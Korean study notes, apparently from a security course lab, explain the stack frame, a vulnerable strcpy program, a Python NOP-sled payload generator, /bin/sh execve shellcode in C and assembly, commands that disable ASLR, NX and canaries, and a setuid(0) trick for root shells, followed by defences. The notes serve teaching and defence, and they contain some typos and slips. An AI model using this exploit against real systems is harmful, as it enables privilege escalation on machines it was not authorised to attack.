1. Stack이 Queue보다 적합한 경우
- 함수 호출 : 스택은 LIFO (Last In First Out) 구조이므로, 함수가 호출되는 순서와 반환되는 순서가 정확히 반대이다.
2. 스택 프레임 (Stack Frame)에 저장되는 요소

- ESP (Stack Pointer) : 스택의 현재 최상단(top)을 가리킴.
- EBP (Base Pointer) : 현재 스택 프레임의 기준점
- EIP (Program Counter) = PC : 현재 실행 중인 명령어의 주소
- RA (Return Address) : 함수 종료후 돌아갈 명령어의 주소 (EPB+4)
3. 리눅스 가상 메모리 구조

- 4GB 가상 메모리 구조라고 생각했을 때, 1GB 커널 영역 3GB가 사용자 영역이다.
- 커널 영역 0xffffffff ~ 0xc0000000
- 사용자 영역 0x 00000000 ~ 0xbfffffff
4. Assembly 언어 확인하는 방법
void func(int a, int b) {
int x, y;
x= a+b;
y= a-b;
}
void main(void){
func(5,10)
}
1) 어셈블리 소스 파일로 컴파일하고, more 명령어로 확인하기

- -g : 디버깅 정보 포함
- -S : C코드를 어셈블리 (.s) 파일로 생성
- -fno-stack-protector : Stack Canary 제거
- -m32 : 32비트 바이너리
2) c코드를 실행 가능한 바이너리로 컴파일하고 gdb 확인하기

- gdb ./prog => break func => disas 하기

- %eax => x , %edx => y
5. STACK OVERFLOW ATTCK
#include <stdio.h>
#include <string.h>
void foo(char *str) {
char buffer[100];
// 취약점: 입력값을 길이 체크 없이 복사
strcpy(buffer, str); // 버퍼 오버플로우 발생 가능
return 1;
}
int main(int argc, char **argv) {
char str[400];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 300, badfile);
foo(str);
printf("Returned Properly\n");
return 1;
}
- 1) badfile에서 300바이트를 읽어 str[400]에 저장
- 2) foo(str)호출
- 3) foo() 내부에서 strcpy(buffer, str) 실행 => buffer는 100바이트, str에서 들어오는 데이터는 공격자가 제어
- 4) 버퍼 오버플로우 발생 가능
6. 버퍼 오버플로우의 주요 결과
1) Invalid Instruction 실행
- 버퍼 오버플로우로 인해 RA가 유효하지 않은 메모리를 가리키면, CPU는 정상적인 기계어 코드가 아닌 데이터 바이트를 명령어로 해석한다.
- 의미 없는 바이트를 실행 => illegal instruction 오류 발생 => 프로그램은 즉시 crash
2) Non-existing Address로 점프
- 덮어쓴 반환 주소가 존재하지 않는 메모리 주소를 가리키는 경우, CPU는 해당 주소로 점프하려고 하지만, 해당 메모리 페이지가 존재하지 않음 => Segmentation fault 발생
3) Access Violation
- 일반 사용자 모드 프로세스가 OS의 보호 정책에 따라 읽거나 실행할 수 없는 영역 (kernel space, read-only memory)으로 이동하려 하거나 접근하려하면, 권한 오류/Protection fault/Access violation 발생후 프로세스 종료
- 즉, 잘못된 주소가 OS 보호 메커니즘을 건드리며 crash를 유발
4) Attacker's Code 실행
- 가장 위험한 상황 => 공격자가 입력 데이터 내에 sehllcode 등을 삽입하고, 오버플로우로 인해 그 함수의 RA를 shellcode의 주소로 덮어쓰게 되면, 프로그램은 공격자가 심어 둔 명령을 실행하게 된다.
- root shell 탈취, reverse shell 획득, 권한 상승, 임의 코드 실행
7. Stack overflow 실습 -> stack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int foo(char * str){
char buffer[100];
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv){
char str[400];
FILE *badfile;
badfile = fopen("badfile","r"); // 읽기 전용으로 열어라
fread(str,sizeof(char),300,badfile);
foo(str);
printf("Returned Properlt\n"); // 공격에 성공 못하면 나오는 문장
return 1;
}
- strcpy() 함수는 길이 제한 없이 복사하기 때문에, 300바이트 데이터를 100바이트 버퍼로 복사하는 과정에서 스택 메모리가 덮어쓰기 overwrite가 되어 리턴 주소가 손상될 수 있다.
- 공격이 성공할려면, 공격 코드의 주소를 알아내야지 효력이 있다 => nop을 앞쪽에 잔뜩 써주면 결국에 나중에 악의적인 코드로 간다.
- ASLR => 프로세스 주소 공간 전체를 랜덤화하여 공격자가 메모리 주소를 예측하지 못하게 만드는 보안기법
- PIE => 코드가 위치 독립적으로 실행될 수 있어, 프로그램의 .text, .data, .bss 등이 매 실행마다 다른 주소에 배치된다.
- 공격 성공 조건 1)ALSR 기능을 꺼야한다. 2) 스택에서도 코드를 실행시키도록 해야한다.

- sudo sysctl -w -kernel.randomize_va_space=0 => ASLR 완전히 끄기
- sudo sysctl -w -kernel.randomize_va_space=2 => ASLR 완전히 켜기

- -z execstack : stack을 실행 가능(executable)하게 설정 => 현대 리눅스에 NX 보호가 있어 스택에서 코드를 실행할 수 없도록 막는다. 이를 비활성화시키는 것임.
- -fno-stack-protector: GCC가 제공하는 스택 보호 기법(stack Canary)을 비활성화한다.
- -g : 기본 디버그 정보 포함

- stack 파일의 owner을 root로 하고 set-uid 비트를 설정해준다.

- buffer의 크기는 100byte + 컴파일러 alignment 패딩은 8byte = saved EBP까찌의 거리 108byte
- GCC는 기본적으로 스택 프레임을 16바이트 정렬(alignment) 하려고한다 => 100바이트는 16배수가 아니라므로 정렬이 깨진다 => 정렬을 맞추기 위해 컴파일러가 8byte padding 추가


- debugging 해서 ebp의 주소 위치를 확인해보면 다음과 같다.

- ebp와 buffer사이의 크기가 108인것도 확인할 수 있음
- 즉 return address 는 ebp + 4 = 0xffffe7f0 +4 = 0xffffe7f4
8. Stack overflow 실습 -> badfile 만들기
# Fill the content with NOPs
content = bytearray(0x90 for i in range(300)) # 0x90: x86 NOP
# Put the shellcode at the end
start = 300 - len(shellcode)
content[start:] = shellcode
# Put the address at offset 112
# 0xbfffeaf8: 저장하고 싶은 반환 주소(예: EBP 기준 주소)
# +120: EBP로부터 120바이트 떨어진 위치
ret = 0xbfffeaf8 + 120 # 108 + 120 = 228 같은 식의 계산 예시
# 리틀 엔디안 형태로 4바이트 주소를 기록
content[112:116] = ret.to_bytes(4, byteorder='little')
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
1) nop sled 생성
content = bytearray(0x90 for i in range(300))
2) payload 끝에 셸코드 배치
start = 300 - len(shellcode)
content[start:] = shellcode
3) 리턴 주소 덮어 쓰기
ret = 0xffffe7f4 + 120 # 예시: ebp 근처 주소 + 오프셋
content[112:116] = (ret).to_bytes(4, byteorder='little')
- (중요) strcpy()는 NULL바이트 (0x00)를 만나면 복사를 멈춘다. badfile 안에 들어가는 RET 주소 (4바이트) 중 하나라도 0x00이 포함된다면, badfile이 완전히 복사되기 전 복사가 중단된다.
- 예 : 0xbfffeaf8 + 0x78 = 0xbfffeb70 => 마지막 바이트가 0x70이라 OK
- 예 : 0xbfffeaf8 + 0x08 = 0xbfffeb00 => 마지막 바이트 0x00이라 strcpy가 복사 중단 => exploit 실패
9. Stack overflow 실습 -> shellcode 만들기
#include <stddef.h>
#include <unistd.h>
void main(){
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve (name[0], name, NULL);
}
- execve()에 전달할 argv 배열을 만들기 위해 포인트 배열을 선언
- argv[0] = 실행할 프로그램 경로, argv[1] = NULL (argv의 끝을 표시)
- execve (실행 파일, argv 포인터 배열, 환경 변수)
- 정상적으로 수행되면 현재 프로세스가 /bin/sh 로 완전히 교체됨.
xor eax, eax ; eax = 0
push eax ; push 0 (NULL)
push 0x68732f2f ; push "//sh"
push 0x6e69622f ; push "/bin"
mov ebx, esp ; ebx -> "/bin//sh"
push eax ; push 0 (envp NULL)
push ebx ; push pointer to "/bin//sh" (argv[0])
mov ecx, esp ; ecx -> argv
xor edx, edx ; edx = 0 (envp NULL)
mov al, 0x0b ; eax = 11 (sys_execve)
int 0x80
- shellcode 의 목적 : 공격자는 프로그램의 흐름을 가로채 execve("/bin/sh")를 호출하는 shellcode를 삽입하여 root 혹은 취약 프로그램의 권한으로 쉘을 실행하려함.
- 1) Loader Issue : 우리가 공격 코드로 실행하는 것은 프로세스 메모리에 직접 주입되는 기계어 => 따라서 loader가 없음 => ELF 헤더가 없음 => 코드가 어느 위치에 적재되더라도 실행가능해야하므로 Position Independent Code (PIC) 형태여야한다.
- 2) Zeros in Code : strcpy에는 0x00을 만나면 복사를 중지한다. => shellcode안에 0x00 바이트가 절대 들어가서는 안된다.
- eax : 0x0b (execve syscall) 번호
- ebx : 문자열 주소
- ecx : argv 배열주소
- edx : 0
- int 0x80 : 시스템 콜이 불리게 된다.
10. 결과 분석
- /bin/sh => 실행중인 프로그램의 EUID를 그대로 상속한다.
- ubuntu 16.04 이후의 /bin/sh는 /bin/dash와 같다. => dash shell은 SUID 비트를 무시한다. root UID 실행되어도 UID를 일반 사용자로 강제로 떨어뜨린다.
- 즉 SUID root 프로그램이 execve("bin/sh")를 호출해도 dash는 UID=0로 실행되지 않는다.
- 그래서 exploit 이 성공해도 uid 가 1000으로 나온다.
9. segment 정리
1) stack 전용 register : ebp, esp
2) code 전용 register : eip
10. 오류의 정리
1) Syntax Error (문법 오류) : 코드 구조나 문법이 규칙에 맞지 않아 컴파일 자체가 안되는 오류 => 세미콜론 누락, 괄호 짝 불일치 등등 (컴파일 단계에서 즉시 발견)
2) Runtime Error (실행 오류) : 프로그램 실행 중일 때 발생하는 오류 => 0으로 나누기, NULL dereference, 배열 범위 초과 접근 => 컴파일은 성공하지만 실행 도중 비정상 종료 발생
3) Logic Errro (논리 오류) : 코드가 문법적으로도, 실행 시에도 오류가 없지만 프로그래머가 의도한 결과와 다르게 동작하는 오류 => 잘못된 알고리즘, 조건문 방향 오류 => 컴파일 ok, 실행
11. little endian
- 값을 메모리에 저장할 때 가장 낮은 바이트가 낮은 주소에 먼저 저장되는 방식
- push 0x11223344 실행 후 ESP = 0xffffd96c로 감소 => 해당 4바이트에 little endian 저장
12. buffer overflow 대응책
1) 개발자 차원 대응
- 안전한 문자열/메모리 함수 사용
- strcpy() => strncpy()
- gets() => fgets()
- sprintf(0 => snprintf()
- 길이 제한을 명시적으로 적용하여 오버플로우 위험을 줄인다.
- 안전한 라이브러리 사용
- libsafe : strcpy, strcat, gets등 위험 함수들의 안전 버전을 제공한다.
- libmib : 고정 크기의 버퍼가 없어 오버플로우 위험이 구조적으로 감소
2) 운영체제 방어
- ASLR (Address Space Layout Randomization) : 프로세스 메모리의 주요 섹션 주소를 매 실행마다 무작위화 한다. => stack, heap, shared libraries, mmap 영역
- 공격자가 스택 주소를 예측하기 매우 어려워짐 => shellcode jump 실패
- sudo sysctl -w kernel.randomize.va_space = 0 (완전 끄기)
- sudo sysctl -w kernel.randomize.va_space = 1 (stack 주소 랜덤화)
- sudo sysctl -w kernel.randomize.va_space = 2 (heap, stack 주소 랜덤화)
3) 컴파일러 방어
- StackGuard (Cannary 기반 보호)
| Local Variables |
-------------------
| Canary Value | ← 무작위 값
-------------------
| Return Address |
-
함수 종료 시, canary 값이 변조되었는지 검사
-
변조되었으면 즉시 abort -> 공격차단
4) 하드웨어 방어
-
NX bit (Non-executable Stack)
-
스택/힙 영억을 non-excutable로 표시
-
해당 영역에서 기계어 코드 실행을 금지
-
즉, shellcode가 있더라도 CPU가 실행하지 않음
-
코드 인젝션 공격을 완벽 차단
12. ASLR 상세 원리
-
스택 시작 주소가 실행할 때 마다 변경 => 정확한 return address를 알기 어려움
-
32 bit의 경우 랜덤화 범위 219 => 스택이 커널 바로 아래 좁은 영역에 배치되므로 ASLR이 넓은 범위를 사용할 수 없음 (경우의 수가 무척 적음) => 쉘스크립트를 배우면 공격이 쉬워짐
13. STACK Canary 설정
- 공격자가 canary 값을 알게 된다면, RET overwrite를 수행할 때 동일한 canary를 그대로 복원하기만 하면 검사가 통과되어 보호가 무력화된다.
- 따라서 고정된 canary값은 실행할 때마다 새로운 random canary를 사용하는 것이 더 안전하다.
- secret 값을 null 문자로 주는 것도 좋다. => strcpy()는 NULL 만나면 복사가 멈추기 때문이다.
14. Dash shell
- /bin/besh, /bin/desh : setuid 프로그램이 쉘을 실행할 때 보안 목적으로 권한을 자동으로 강등하는 쉘을 지칭한다. euid와 ruid가 다르면 무조건 권한을 실제 사용자로 강등시킨다.
- dash 는 프로그램이 실행될 때 EUID ≠ RUID 상태인 경우에만 권한을 강등한다.
- 따라서 쉘코드의 가장 앞에 setuid(0);을 넣으면 EUID = RUID = 0 상태가 되어 더 이상 권한 강등을 수행하지 못한다.
- 이후 execve ("/bin/sh")를 호출하면 정상적인 root shell을 실행할 수 있다.
15. NX 우회
- return to libc : 공격자가 쉘 코드를 실행하는 대신, 스택의 return addess를 libc의 system("/bin/sh") 주소로 변경
- ROP